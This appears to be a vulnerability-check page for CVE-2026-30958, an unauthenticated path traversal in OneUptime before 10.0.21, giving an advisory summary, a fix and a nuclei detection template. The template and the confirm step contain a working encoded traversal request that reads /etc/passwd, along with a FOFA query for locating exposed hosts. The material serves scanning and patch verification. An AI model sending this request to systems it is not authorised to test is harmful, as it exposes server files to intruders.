OneUptime < 10.0.21 - Path Traversal

highseverity

7.2CVSS score

1.2%likelihood of exploitation, next 30 days

70%of all CVEs are less likely

Readycheck to confirm it

OneUptime < 10.0.21 contains a path traversal caused by unsanitized componentName parameter in /workflow/docs/:componentName endpoint, letting unauthenticated attackers read arbitrary files from the server filesystem.

Impact

Unauthenticated attackers can read arbitrary files on the server, potentially exposing sensitive information.

Fix

Upgrade to version 10.0.21 or later.

How to confirm it

Send: GET {{BaseURL}}/workflow/docs/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2026-30958 -u <target>

The full check

id: CVE-2026-30958

info:
  name: OneUptime < 10.0.21 - Path Traversal
  author: ashvinctrl,iconnnjka
  severity: high
  description: |
    OneUptime < 10.0.21 contains a path traversal caused by unsanitized componentName parameter in /workflow/docs/:componentName endpoint, letting unauthenticated attackers read arbitrary files from the server filesystem.
  impact: |
    Unauthenticated attackers can read arbitrary files on the server, potentially exposing sensitive information.
  remediation: |
    Upgrade to version 10.0.21 or later.
  reference:
    - https://github.com/OneUptime/oneuptime/security/advisories/GHSA-p2wh-9pw8-hvff
    - https://nvd.nist.gov/vuln/detail/CVE-2026-30958
    - https://github.com/OneUptime/oneuptime
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cve-id: CVE-2026-30958
    epss-score: 0.01245
    epss-percentile: 0.69521
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    fofa-query: title="OneUptime"
  tags: cve,cve2026,oneuptime,lfi,path-traversal,vuln,unauth

http:
  - method: GET
    path:
      - "{{BaseURL}}/workflow/docs/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from